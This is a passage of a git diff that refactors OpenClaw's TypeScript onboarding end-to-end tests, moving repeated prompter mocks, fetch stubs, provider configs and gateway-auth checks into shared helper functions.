models: { - providers: { - xiaomi: { - baseUrl: "https://old.example.com", - apiKey: "old-key", - api: "openai-completions", - models: [ - { - id: "custom-model", - name: "Custom", - reasoning: false, - input: ["text"], - cost: { input: 1, output: 2, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 1000, - maxTokens: 100, - }, - ], - }, - }, - }, - }); + const cfg = applyXiaomiProviderConfig( + createLegacyProviderConfig({ + providerId: "xiaomi", + api: "openai-completions", + modelId: "custom-model", + modelName: "Custom", + }), + ); expect(cfg.models?.providers?.xiaomi?.baseUrl).toBe("https://api.xiaomimimo.com/anthropic"); expect(cfg.models?.providers?.xiaomi?.api).toBe("anthropic-messages"); @@ -445,28 +429,14 @@ describe("applyXaiProviderConfig", () => { }); it("merges xAI models and keeps existing provider overrides", () => { - const cfg = applyXaiProviderConfig({ - models: { - providers: { - xai: { - baseUrl: "https://old.example.com", - apiKey: "old-key", - api: "anthropic-messages", - models: [ - { - id: "custom-model", - name: "Custom", - reasoning: false, - input: ["text"], - cost: { input: 1, output: 2, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 1000, - maxTokens: 100, - }, - ], - }, - }, - }, - }); + const cfg = applyXaiProviderConfig( + createLegacyProviderConfig({ + providerId: "xai", + api: "anthropic-messages", + modelId: "custom-model", + modelName: "Custom", + }), + ); expect(cfg.models?.providers?.xai?.baseUrl).toBe("https://api.x.ai/v1"); expect(cfg.models?.providers?.xai?.api).toBe("openai-completions"); diff --git a/src/commands/onboard-channels.e2e.test.ts b/src/commands/onboard-channels.e2e.test.ts index 210ef5b7ad1..b88a47caedd 100644 --- a/src/commands/onboard-channels.e2e.test.ts +++ b/src/commands/onboard-channels.e2e.test.ts @@ -1,6 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import type { RuntimeEnv } from "../runtime.js"; import type { WizardPrompter } from "../wizard/prompts.js"; import { discordPlugin } from "../../extensions/discord/src/channel.js"; import { imessagePlugin } from "../../extensions/imessage/src/channel.js"; @@ -11,31 +10,16 @@ import { whatsappPlugin } from "../../extensions/whatsapp/src/channel.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createTestRegistry } from "../test-utils/channel-plugins.js"; import { setupChannels } from "./onboard-channels.js"; - -const noopAsync = async () => {}; - -function createRuntime(): RuntimeEnv { - return { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn((code: number) => { - throw new Error(`exit:${code}`); - }), - }; -} +import { createExitThrowingRuntime, createWizardPrompter } from "./test-wizard-helpers.js"; function createPrompter(overrides: Partial): WizardPrompter { - return { - intro: vi.fn(noopAsync), - outro: vi.fn(noopAsync), - note: vi.fn(noopAsync), - select: vi.fn(async () => "__done__" as never), - multiselect: vi.fn(async () => []), - text: vi.fn(async () => "") as unknown as WizardPrompter["text"], - confirm: vi.fn(async () => false), - progress: vi.fn(() => ({ update: vi.fn(), stop: vi.fn() })), - ...overrides, - }; + return createWizardPrompter( + { + progress: vi.fn(() => ({ update: vi.fn(), stop: vi.fn() })), + ...overrides, + }, + { defaultSelect: "__done__" }, + ); } vi.mock("node:fs/promises", () => ({ @@ -88,7 +72,7 @@ describe("setupChannels", () => { text: text as unknown as WizardPrompter["text"], }); - const runtime = createRuntime(); + const runtime = createExitThrowingRuntime(); await setupChannels({} as OpenClawConfig, runtime, prompter, { skipConfirm: true, @@ -119,7 +103,7 @@ describe("setupChannels", () => { text: text as unknown as WizardPrompter["text"], }); - const runtime = createRuntime(); + const runtime = createExitThrowingRuntime(); await setupChannels({} as OpenClawConfig, runtime, prompter, { skipConfirm: true, @@ -157,7 +141,7 @@ describe("setupChannels", () => { text: text as unknown as WizardPrompter["text"], }); - const runtime = createRuntime(); + const runtime = createExitThrowingRuntime(); await setupChannels( { @@ -209,7 +193,7 @@ describe("setupChannels", () => { text: vi.fn(async () => "") as unknown as WizardPrompter["text"], }); - const runtime = createRuntime(); + const runtime = createExitThrowingRuntime(); await setupChannels( { diff --git a/src/commands/onboard-custom.e2e.test.ts b/src/commands/onboard-custom.e2e.test.ts index 1e595125361..302ae2338a6 100644 --- a/src/commands/onboard-custom.e2e.test.ts +++ b/src/commands/onboard-custom.e2e.test.ts @@ -11,6 +11,59 @@ vi.mock("./model-picker.js", () => ({ applyPrimaryModel: vi.fn((cfg) => cfg), })); +function createTestPrompter(params: { text: string[]; select?: string[] }): { + text: ReturnType; + select: ReturnType; + confirm: ReturnType; + note: ReturnType; + progress: ReturnType; +} { + const text = vi.fn(); + for (const answer of params.text) { + text.mockResolvedValueOnce(answer); + } + const select = vi.fn(); + for (const answer of params.select ?? []) { + select.mockResolvedValueOnce(answer); + } + return { + text, + progress: vi.fn(() => ({ + update: vi.fn(), + stop: vi.fn(), + })), + select, + confirm: vi.fn(), + note: vi.fn(), + }; +} + +function stubFetchSequence( + responses: Array<{ ok: boolean; status?: number }>, +): ReturnType { + const fetchMock = vi.fn(); + for (const response of responses) { + fetchMock.mockResolvedValueOnce({ + ok: response.ok, + status: response.status, + json: async () => ({}), + }); + } + vi.stubGlobal("fetch", fetchMock); + return fetchMock; +} + +async function runPromptCustomApi( + prompter: ReturnType, + config: object = {}, +) { + return promptCustomApiConfig({ + prompter: prompter as unknown as Parameters[0]["prompter"], + runtime: { ...defaultRuntime, log: vi.fn() }, + config, + }); +} + describe("promptCustomApiConfig", () => { afterEach(() => { vi.unstubAllGlobals(); @@ -18,36 +71,12 @@ describe("promptCustomApiConfig", () => { }); it("handles openai flow and saves alias", async () => { - const prompter = { - text: vi - .fn() - .mockResolvedValueOnce("http://localhost:11434/v1") // Base URL - .mockResolvedValueOnce("") // API Key - .mockResolvedValueOnce("llama3") // Model ID - .mockResolvedValueOnce("custom") // Endpoint ID - .mockResolvedValueOnce("local"), // Alias - progress: vi.fn(() => ({ - update: vi.fn(), - stop: vi.fn(), - })), - select: vi.fn().mockResolvedValueOnce("openai"), // Compatibility - confirm: vi.fn(), - note: vi.fn(), - }; - - vi.stubGlobal( - "fetch", - vi.fn().mockResolvedValueOnce({ - ok: true, - json: async () => ({}), - }), - ); - - const result = await promptCustomApiConfig({ - prompter: prompter as unknown as Parameters[0]["prompter"], - runtime: { ...defaultRuntime, log: vi.fn() }, - config: {}, + const prompter = createTestPrompter({ + text: ["http://localhost:11434/v1", "", "llama3", "custom", "local"], + select: ["openai"], }); + stubFetchSequence([{ ok: true }]); + const result = await runPromptCustomApi(prompter); expect(prompter.text).toHaveBeenCalledTimes(5); expect(prompter.select).toHaveBeenCalledTimes(1); @@ -56,76 +85,24 @@ describe("promptCustomApiConfig", () => { }); it("retries when verification fails", async () => { - const prompter = { - text: vi - .fn() - .mockResolvedValueOnce("http://localhost:11434/v1") // Base URL - .mockResolvedValueOnce("") // API Key - .mockResolvedValueOnce("bad-model") // Model ID - .mockResolvedValueOnce("good-model") // Model ID retry - .mockResolvedValueOnce("custom") // Endpoint ID - .mockResolvedValueOnce(""), // Alias - progress: vi.fn(() => ({ - update: vi.fn(), - stop: vi.fn(), - })), - select: vi - .fn() - .mockResolvedValueOnce("openai") // Compatibility - .mockResolvedValueOnce("model"), // Retry choice - confirm: vi.fn(), - note: vi.fn(), - }; - - vi.stubGlobal( - "fetch", - vi - .fn() - .mockResolvedValueOnce({ ok: false, status: 400, json: async () => ({}) }) - .mockResolvedValueOnce({ ok: true, json: async () => ({}) }), - ); - - await promptCustomApiConfig({ - prompter: prompter as unknown as Parameters[0]["prompter"], - runtime: { ...defaultRuntime, log: vi.fn() }, - config: {}, + const prompter = createTestPrompter({ + text: ["http://localhost:11434/v1", "", "bad-model", "good-model", "custom", ""], + select: ["openai", "model"], }); + stubFetchSequence([{ ok: false, status: 400 }, { ok: true }]); + await runPromptCustomApi(prompter); expect(prompter.text).toHaveBeenCalledTimes(6); expect(prompter.select).toHaveBeenCalledTimes(2); }); it("detects openai compatibility when unknown", async () => { - const prompter = { - text: vi - .fn() - .mockResolvedValueOnce("https://example.com/v1") // Base URL - .mockResolvedValueOnce("test-key") // API Key - .mockResolvedValueOnce("detected-model") // Model ID - .mockResolvedValueOnce("custom") // Endpoint ID - .mockResolvedValueOnce("alias"), // Alias - progress: vi.fn(() => ({ - update: vi.fn(), - stop: vi.fn(), - })), - select: vi.fn().mockResolvedValueOnce("unknown"), - confirm: vi.fn(), - note: vi.fn(), - }; - - vi.stubGlobal( - "fetch", - vi.fn().mockResolvedValueOnce({ - ok: true, - json: async () => ({}), - }), - ); - - const result = await promptCustomApiConfig({ - prompter: prompter as unknown as Parameters[0]["prompter"], - runtime: { ...defaultRuntime, log: vi.fn() }, - config: {}, + const prompter = createTestPrompter({ + text: ["https://example.com/v1", "test-key", "detected-model", "custom", "alias"], + select: ["unknown"], }); + stubFetchSequence([{ ok: true }]); + const result = await runPromptCustomApi(prompter); expect(prompter.text).toHaveBeenCalledTimes(5); expect(prompter.select).toHaveBeenCalledTimes(1); @@ -133,39 +110,20 @@ describe("promptCustomApiConfig", () => { }); it("re-prompts base url when unknown detection fails", async () => { - const prompter = { - text: vi - .fn() - .mockResolvedValueOnce("https://bad.example.com/v1") // Base URL #1 - .mockResolvedValueOnce("bad-key") // API Key #1 - .mockResolvedValueOnce("bad-model") // Model ID #1 - .mockResolvedValueOnce("https://ok.example.com/v1") // Base URL #2 - .mockResolvedValueOnce("ok-key") // API Key #2 - .mockResolvedValueOnce("custom") // Endpoint ID - .mockResolvedValueOnce(""), // Alias - progress: vi.fn(() => ({ - update: vi.fn(), - stop: vi.fn(), - })), - select: vi.fn().mockResolvedValueOnce("unknown").mockResolvedValueOnce("baseUrl"), - confirm: vi.fn(), - note: vi.fn(), - }; - - vi.stubGlobal( - "fetch", - vi - .fn() - .mockResolvedValueOnce({ ok: false, status: 404, json: async () => ({}) }) - .mockResolvedValueOnce({ ok: false, status: 404, json: async () => ({}) }) - .mockResolvedValueOnce({ ok: true, json: async () => ({}) }), - ); - - await promptCustomApiConfig({ - prompter: prompter as unknown as Parameters[0]["prompter"], - runtime: { ...defaultRuntime, log: vi.fn() }, - config: {}, + const prompter = createTestPrompter({ + text: [ + "https://bad.example.com/v1", + "bad-key", + "bad-model", + "https://ok.example.com/v1", + "ok-key", + "custom", + "", + ], + select: ["unknown", "baseUrl"], }); + stubFetchSequence([{ ok: false, status: 404 }, { ok: false, status: 404 }, { ok: true }]); + await runPromptCustomApi(prompter); expect(prompter.note).toHaveBeenCalledWith( expect.stringContaining("did not respond"), @@ -174,52 +132,28 @@ describe("promptCustomApiConfig", () => { }); it("renames provider id when baseUrl differs", async () => { - const prompter = { - text: vi - .fn() - .mockResolvedValueOnce("http://localhost:11434/v1") // Base URL - .mockResolvedValueOnce("") // API Key - .mockResolvedValueOnce("llama3") // Model ID - .mockResolvedValueOnce("custom") // Endpoint ID - .mockResolvedValueOnce(""), // Alias - progress: vi.fn(() => ({ - update: vi.fn(), - stop: vi.fn(), - })), - select: vi.fn().mockResolvedValueOnce("openai"), - confirm: vi.fn(), - note: vi.fn(), - }; - - vi.stubGlobal( - "fetch", - vi.fn().mockResolvedValueOnce({ - ok: true, - json: async () => ({}), - }), - ); - - const result = await promptCustomApiConfig({ - prompter: prompter as unknown as Parameters[0]["prompter"], - runtime: { ...defaultRuntime, log: vi.fn() }, - config: { - models: { - providers: { - custom: { - baseUrl: "http://old.example.com/v1", - api: "openai-completions", - models: [ - { - id: "old-model", - name: "Old", - contextWindow: 1, - maxTokens: 1, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - reasoning: false, - }, - ], - }, + const prompter = createTestPrompter({ + text: ["http://localhost:11434/v1", "", "llama3", "custom", ""], + select: ["openai"], + }); + stubFetchSequence([{ ok: true }]); + const result = await runPromptCustomApi(prompter, { + models: { + providers: { + custom: { + baseUrl: "http://old.example.com/v1", + api: "openai-completions", + models: [ + { + id: "old-model", + name: "Old", + contextWindow: 1, + maxTokens: 1, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + reasoning: false, + }, + ], }, }, }, @@ -232,23 +166,10 @@ describe("promptCustomApiConfig", () => { it("aborts verification after timeout", async () => { vi.useFakeTimers(); - const prompter = { - text: vi - .fn() - .mockResolvedValueOnce("http://localhost:11434/v1") // Base URL - .mockResolvedValueOnce("") // API Key - .mockResolvedValueOnce("slow-model") // Model ID - .mockResolvedValueOnce("fast-model") // Model ID retry - .mockResolvedValueOnce("custom") // Endpoint ID - .mockResolvedValueOnce(""), // Alias - progress: vi.fn(() => ({ - update: vi.fn(), - stop: vi.fn(), - })), - select: vi.fn().mockResolvedValueOnce("openai").mockResolvedValueOnce("model"), - confirm: vi.fn(), - note: vi.fn(), - }; + const prompter = createTestPrompter({ + text: ["http://localhost:11434/v1", "", "slow-model", "fast-model", "custom", ""], + select: ["openai", "model"], + }); const fetchMock = vi .fn() @@ -260,11 +181,7 @@ describe("promptCustomApiConfig", () => { .mockResolvedValueOnce({ ok: true, json: async () => ({}) }); vi.stubGlobal("fetch", fetchMock); - const promise = promptCustomApiConfig({ - prompter: prompter as unknown as Parameters[0]["prompter"], - runtime: { ...defaultRuntime, log: vi.fn() }, - config: {}, - }); + const promise = runPromptCustomApi(prompter); await vi.advanceTimersByTimeAsync(10000); await promise; diff --git a/src/commands/onboard-hooks.e2e.test.ts b/src/commands/onboard-hooks.e2e.test.ts index 1ab2b47caec..212b9366346 100644 --- a/src/commands/onboard-hooks.e2e.test.ts +++ b/src/commands/onboard-hooks.e2e.test.ts @@ -40,76 +40,75 @@ describe("onboard-hooks", () => { exit: vi.fn(), }); + const createMockHook = ( + params: { + name: string; + description: string; + filePath: string; + baseDir: string; + handlerPath: string; + hookKey: string; + emoji: string; + events: string[]; + }, + eligible: boolean, + ) => ({ + ...params, + source: "openclaw-bundled" as const, + pluginId: undefined, + homepage: undefined, + always: false, + disabled: false, + eligible, + managedByPlugin: false, + requirements: { + bins: [], + anyBins: [], + env: [], + config: ["workspace.dir"], + os: [], + }, + missing: { + bins: [], + anyBins: [], + env: [], + config: eligible ? [] : ["workspace.dir"], + os: [], + }, + configChecks: [], + install: [], + }); + const createMockHookReport = (eligible = true): HookStatusReport => ({ workspaceDir: "/mock/workspace", managedHooksDir: "/mock/.openclaw/hooks", hooks: [ - { - name: "session-memory", - description: "Save session context to memory when /new command is issued", - source: "openclaw-bundled", - pluginId: undefined, - filePath: "/mock/workspace/hooks/session-memory/HOOK.md", - baseDir: "/mock/workspace/hooks/session-memory", - handlerPath: "/mock/workspace/hooks/session-memory/handler.js", - hookKey: "session-memory", - emoji: "💾", - events: ["command:new"], - homepage: undefined, - always: false, - disabled: false, + createMockHook( + { + name: "session-memory", + description: "Save session context to memory when /new command is issued", + filePath: "/mock/workspace/hooks/session-memory/HOOK.md", + baseDir: "/mock/workspace/hooks/session-memory", + handlerPath: "/mock/workspace/hooks/session-memory/handler.js", + hookKey: "session-memory", + emoji: "💾", + events: ["command:new"], + }, eligible, - managedByPlugin: false, - requirements: { - bins: [], - anyBins: [], - env: [], - config: ["workspace.dir"], - os: [], + ), + createMockHook( + { + name: "command-logger", + description: "Log all command events to a centralized audit file", + filePath: "/mock/workspace/hooks/command-logger/HOOK.md", + baseDir: "/mock/workspace/hooks/command-logger", + handlerPath: "/mock/workspace/hooks/command-logger/handler.js", + hookKey: "command-logger", + emoji: "📝", + events: ["command"], }, - missing: { - bins: [], - anyBins: [], - env: [], - config: eligible ? [] : ["workspace.dir"], - os: [], - }, - configChecks: [], - install: [], - }, - { - name: "command-logger", - description: "Log all command events to a centralized audit file", - source: "openclaw-bundled", - pluginId: undefined, - filePath: "/mock/workspace/hooks/command-logger/HOOK.md", - baseDir: "/mock/workspace/hooks/command-logger", - handlerPath: "/mock/workspace/hooks/command-logger/handler.js", - hookKey: "command-logger", - emoji: "📝", - events: ["command"], - homepage: undefined, - always: false, - disabled: false, eligible, - managedByPlugin: false, - requirements: { - bins: [], - anyBins: [], - env: [], - config: ["workspace.dir"], - os: [], - }, - missing: { - bins: [], - anyBins: [], - env: [], - config: eligible ? [] : ["workspace.dir"], - os: [], - }, - configChecks: [], - install: [], - }, + ), ], }); diff --git a/src/commands/onboard-non-interactive.gateway.e2e.test.ts b/src/commands/onboard-non-interactive.gateway.e2e.test.ts index b05ecc380ec..b3d8d8bd214 100644 --- a/src/commands/onboard-non-interactive.gateway.e2e.test.ts +++ b/src/commands/onboard-non-interactive.gateway.e2e.test.ts @@ -1,9 +1,8 @@ import fs from "node:fs/promises"; -import { createServer } from "node:net"; import os from "node:os"; import path from "node:path"; import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; -import { getDeterministicFreePortBlock } from "../test-utils/ports.js"; +import { getFreePortBlockWithPermissionFallback } from "../test-utils/ports.js"; const gatewayClientCalls: Array<{ url?: string; @@ -41,49 +40,17 @@ vi.mock("../gateway/client.js", () => ({ })); async function getFreePort(): Promise { - try { - return await new Promise((resolve, reject) => { - const srv = createServer(); - srv.on("error", (err) => { - srv.close(); - reject(err); - }); - srv.listen(0, "127.0.0.1", () => { - const addr = srv.address(); - if (!addr || typeof addr === "string") { - srv.close(); - reject(new Error("failed to acquire free port")); - return; - } - const port = addr.port; - srv.close((err) => { - if (err) { - reject(err); - } else { - resolve(port); - } - }); - }); - }); - } catch (err) { - const code = (err as NodeJS.ErrnoException | undefined)?.code; - if (code === "EPERM" || code === "EACCES") { - return 30_000 + (process.pid % 10_000); - } - throw err; - } + return await getFreePortBlockWithPermissionFallback({ + offsets: [0], + fallbackBase: 30_000, + }); } async function getFreeGatewayPort(): Promise { - try { - return await getDeterministicFreePortBlock({ offsets: [0, 1, 2, 4] }); - } catch (err) { - const code = (err as NodeJS.ErrnoException | undefined)?.code; - if (code === "EPERM" || code === "EACCES") { - return 40_000 + (process.pid % 10_000); - } - throw err; - } + return await getFreePortBlockWithPermissionFallback({ + offsets: [0, 1, 2, 4], + fallbackBase: 40_000, + }); } const runtime = { @@ -96,6 +63,19 @@ const runtime = { }, }; +async function expectGatewayTokenAuth(params: { + authConfig: unknown; + token: string; + env: NodeJS.ProcessEnv; +}) { + const { authorizeGatewayConnect, resolveGatewayAuth } = await import("../gateway/auth.js"); + const auth = resolveGatewayAuth({ authConfig: params.authConfig, env: params.env }); + const resNoToken = await authorizeGatewayConnect({ auth, connectAuth: { token: undefined } }); + expect(resNoToken.ok).toBe(false); + const resToken = await authorizeGatewayConnect({ auth, connectAuth: { token: params.token } }); + expect(resToken.ok).toBe(true); +} + describe("onboard (non-interactive): gateway and remote auth", () => { const prev = { home: process.env.HOME, @@ -183,12 +163,11 @@ describe("onboard (non-interactive): gateway and remote auth", () => { expect(cfg?.gateway?.auth?.mode).toBe("token"); expect(cfg?.gateway?.auth?.token).toBe(token); - const { authorizeGatewayConnect, resolveGatewayAuth } = await import("../gateway/auth.js"); - const auth = resolveGatewayAuth({ authConfig: cfg.gateway?.auth, env: process.env }); - const resNoToken = await authorizeGatewayConnect({ auth, connectAuth: { token: undefined } }); - expect(resNoToken.ok).toBe(false); - const resToken = await authorizeGatewayConnect({ auth, connectAuth: { token } }); - expect(resToken.ok).toBe(true); + await expectGatewayTokenAuth({ + authConfig: cfg.gateway?.auth, + token, + env: process.env, + }); await fs.rm(stateDir, { recursive: true, force: true }); }, 60_000); @@ -274,12 +253,11 @@ describe("onboard (non-interactive): gateway and remote auth", () => { const token = cfg.gateway?.auth?.token ?? ""; expect(token.length).toBeGreaterThan(8); - const { authorizeGatewayConnect, resolveGatewayAuth } = await import("../gateway/auth.js"); - const auth = resolveGatewayAuth({ authConfig: cfg.gateway?.auth, env: process.env }); - const resNoToken = await authorizeGatewayConnect({ auth, connectAuth: { token: undefined } }); - expect(resNoToken.ok).toBe(false); - const resToken = await authorizeGatewayConnect({ auth, connectAuth: { token } }); - expect(resToken.ok).toBe(true); + await expectGatewayTokenAuth({ + authConfig: cfg.gateway?.auth, + token, + env: process.env, + }); await fs.rm(stateDir, { recursive: true, force: true }); }, 60_000); diff --git a/src/commands/onboard-non-interactive.provider-auth.e2e.test.ts b/src/commands/onboard-non-interactive.provider-auth.e2e.test.ts index ea2a4199307..ac32b68f998 100644 --- a/src/commands/onboard-non-interactive.provider-auth.e2e.test.ts +++ b/src/commands/onboard-non-interactive.provider-auth.e2e.test.ts @@ -18,6 +18,12 @@ type OnboardEnv = { runtime: RuntimeMock; }; +type ProviderAuthConfigSnapshot = { + auth?: { profiles?: Record }; + agents?: { defaults?: { model?: { primary?: string } } }; + models?: { providers?: Record }; +}; + async function removeDirWithRetry(dir: string): Promise { for (let attempt = 0; attempt < 5; attempt += 1) { try { @@ -93,10 +99,86 @@ async function runNonInteractive( await runNonInteractiveOnboarding(options, runtime); } +async function runNonInteractiveWithDefaults( + runtime: RuntimeMock, + options: Record, +): Promise { + await runNonInteractive( + { + nonInteractive: true, + skipHealth: true, + skipChannels: true, + json: true, + ...options, + }, + runtime, + ); +} + async function readJsonFile(filePath: string): Promise { return JSON.parse(await fs.readFile(filePath, "utf8")) as T; } +async function runApiKeyOnboardingAndReadConfig( + env: OnboardEnv, + options: Record, +): Promise { + await runNonInteractiveWithDefaults(env.runtime, { + skipSkills: true, + ...options, + }); + return readJsonFile(env.configPath); +} + +async function runInferredApiKeyOnboardingAndReadConfig( + env: OnboardEnv, + options: Record, +): Promise { + await runNonInteractive( + { + nonInteractive: true, + skipHealth: true, + skipChannels: true, + skipSkills: true, + json: true, + ...options, + }, + env.runtime, + ); + return readJsonFile(env.configPath); +} + +const CUSTOM_LOCAL_BASE_URL = "https://models.custom.local/v1"; +const CUSTOM_LOCAL_MODEL_ID = "local-large"; +const CUSTOM_LOCAL_PROVIDER_ID = "custom-models-custom-local"; + +async function runCustomLocalNonInteractive( + runtime: RuntimeMock, + overrides: Record = {}, +): Promise { + await runNonInteractiveWithDefaults(runtime, { + authChoice: "custom-api-key", + customBaseUrl: CUSTOM_LOCAL_BASE_URL, + customModelId: CUSTOM_LOCAL_MODEL_ID, + skipSkills: true, + ...overrides, + }); +} + +async function readCustomLocalProviderApiKey(configPath: string): Promise { + const cfg = await readJsonFile<{ + models?: { + providers?: Record< + string, + { + apiKey?: string; + } + >; + }; + }>(configPath); + return cfg.models?.providers?.[CUSTOM_LOCAL_PROVIDER_ID]?.apiKey; +} + async function expectApiKeyProfile(params: { profileId: string; provider: string; @@ -118,25 +200,11 @@ async function expectApiKeyProfile(params: { describe("onboard (non-interactive): provider auth", () => { it("stores MiniMax API key and uses global baseUrl by default", async () => { - await withOnboardEnv("openclaw-onboard-minimax-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - authChoice: "minimax-api", - minimaxApiKey: "sk-minimax-test", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); - - const cfg = await readJsonFile<{ - auth?: { profiles?: Record }; - agents?: { defaults?: { model?: { primary?: string } } }; - models?: { providers?: Record }; - }>(configPath); + await withOnboardEnv("openclaw-onboard-minimax-", async (env) => { + const cfg = await runApiKeyOnboardingAndReadConfig(env, { + authChoice: "minimax-api", + minimaxApiKey: "sk-minimax-test", + }); expect(cfg.auth?.profiles?.["minimax:default"]?.provider).toBe("minimax"); expect(cfg.auth?.profiles?.["minimax:default"]?.mode).toBe("api_key"); @@ -151,25 +219,11 @@ describe("onboard (non-interactive): provider auth", () => { }, 60_000); it("supports MiniMax CN API endpoint auth choice", async () => { - await withOnboardEnv("openclaw-onboard-minimax-cn-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - authChoice: "minimax-api-key-cn", - minimaxApiKey: "sk-minimax-test", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); - - const cfg = await readJsonFile<{ - auth?: { profiles?: Record }; - agents?: { defaults?: { model?: { primary?: string } } }; - models?: { providers?: Record }; - }>(configPath); + await withOnboardEnv("openclaw-onboard-minimax-cn-", async (env) => { + const cfg = await runApiKeyOnboardingAndReadConfig(env, { + authChoice: "minimax-api-key-cn", + minimaxApiKey: "sk-minimax-test", + }); expect(cfg.auth?.profiles?.["minimax-cn:default"]?.provider).toBe("minimax-cn"); expect(cfg.auth?.profiles?.["minimax-cn:default"]?.mode).toBe("api_key"); @@ -185,18 +239,11 @@ describe("onboard (non-interactive): provider auth", () => { it("stores Z.AI API key and uses global baseUrl by default", async () => { await withOnboardEnv("openclaw-onboard-zai-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - authChoice: "zai-api-key", - zaiApiKey: "zai-test-key", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); + await runNonInteractiveWithDefaults(runtime, { + authChoice: "zai-api-key", + zaiApiKey: "zai-test-key", + skipSkills: true, + }); const cfg = await readJsonFile<{ auth?: { profiles?: Record }; @@ -214,18 +261,11 @@ describe("onboard (non-interactive): provider auth", () => { it("supports Z.AI CN coding endpoint auth choice", async () => { await withOnboardEnv("openclaw-onboard-zai-cn-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - authChoice: "zai-coding-cn", - zaiApiKey: "zai-test-key", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); + await runNonInteractiveWithDefaults(runtime, { + authChoice: "zai-coding-cn", + zaiApiKey: "zai-test-key", + skipSkills: true, + }); const cfg = await readJsonFile<{ models?: { providers?: Record }; @@ -240,18 +280,11 @@ describe("onboard (non-interactive): provider auth", () => { it("stores xAI API key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-xai-", async ({ configPath, runtime }) => { const rawKey = "xai-test-\r\nkey"; - await runNonInteractive( - { - nonInteractive: true, - authChoice: "xai-api-key", - xaiApiKey: rawKey, - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); + await runNonInteractiveWithDefaults(runtime, { + authChoice: "xai-api-key", + xaiApiKey: rawKey, + skipSkills: true, + }); const cfg = await readJsonFile<{ auth?: { profiles?: Record }; @@ -267,18 +300,11 @@ describe("onboard (non-interactive): provider auth", () => { it("stores Vercel AI Gateway API key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-ai-gateway-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - authChoice: "ai-gateway-api-key", - aiGatewayApiKey: "gateway-test-key", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); + await runNonInteractiveWithDefaults(runtime, { + authChoice: "ai-gateway-api-key", + aiGatewayApiKey: "gateway-test-key", + skipSkills: true, + }); const cfg = await readJsonFile<{ auth?: { profiles?: Record }; @@ -303,19 +329,12 @@ describe("onboard (non-interactive): provider auth", () => { const cleanToken = `sk-ant-oat01-${"a".repeat(80)}`; const token = `${cleanToken.slice(0, 30)}\r${cleanToken.slice(30)}`; - await runNonInteractive( - { - nonInteractive: true, - authChoice: "token", - tokenProvider: "anthropic", - token, - tokenProfileId: "anthropic:default", - skipHealth: true, - skipChannels: true, - json: true, - }, - runtime, - ); + await runNonInteractiveWithDefaults(runtime, { + authChoice: "token", + tokenProvider: "anthropic", + token, + tokenProfileId: "anthropic:default", + }); const cfg = await readJsonFile<{ auth?: { profiles?: Record }; @@ -337,18 +356,11 @@ describe("onboard (non-interactive): provider auth", () => { it("stores OpenAI API key and sets OpenAI default model", async () => { await withOnboardEnv("openclaw-onboard-openai-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - authChoice: "openai-api-key", - openaiApiKey: "sk-openai-test", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); + await runNonInteractiveWithDefaults(runtime, { + authChoice: "openai-api-key", + openaiApiKey: "sk-openai-test", + skipSkills: true, + }); const cfg = await readJsonFile<{ agents?: { defaults?: { model?: { primary?: string } } }; @@ -361,35 +373,21 @@ describe("onboard (non-interactive): provider auth", () => { it("rejects vLLM auth choice in non-interactive mode", async () => { await withOnboardEnv("openclaw-onboard-vllm-non-interactive-", async ({ runtime }) => { await expect( - runNonInteractive( - { - nonInteractive: true, - authChoice: "vllm", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ), + runNonInteractiveWithDefaults(runtime, { + authChoice: "vllm", + skipSkills: true, + }), ).rejects.toThrow('Auth choice "vllm" requires interactive mode.'); }); }, 60_000); it("stores LiteLLM API key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-litellm-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - authChoice: "litellm-api-key", - litellmApiKey: "litellm-test-key", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); + await runNonInteractiveWithDefaults(runtime, { + authChoice: "litellm-api-key", + litellmApiKey: "litellm-test-key", + skipSkills: true, + }); const cfg = await readJsonFile<{ auth?: { profiles?: Record }; @@ -463,23 +461,10 @@ describe("onboard (non-interactive): provider auth", () => { ); it("infers Together auth choice from --together-api-key and sets default model", async () => { - await withOnboardEnv("openclaw-onboard-together-infer-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - togetherApiKey: "together-test-key", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); - - const cfg = await readJsonFile<{ - auth?: { profiles?: Record }; - agents?: { defaults?: { model?: { primary?: string } } }; - }>(configPath); + await withOnboardEnv("openclaw-onboard-together-infer-", async (env) => { + const cfg = await runInferredApiKeyOnboardingAndReadConfig(env, { + togetherApiKey: "together-test-key", + }); expect(cfg.auth?.profiles?.["together:default"]?.provider).toBe("together"); expect(cfg.auth?.profiles?.["together:default"]?.mode).toBe("api_key"); @@ -493,23 +478,10 @@ describe("onboard (non-interactive): provider auth", () => { }, 60_000); it("infers 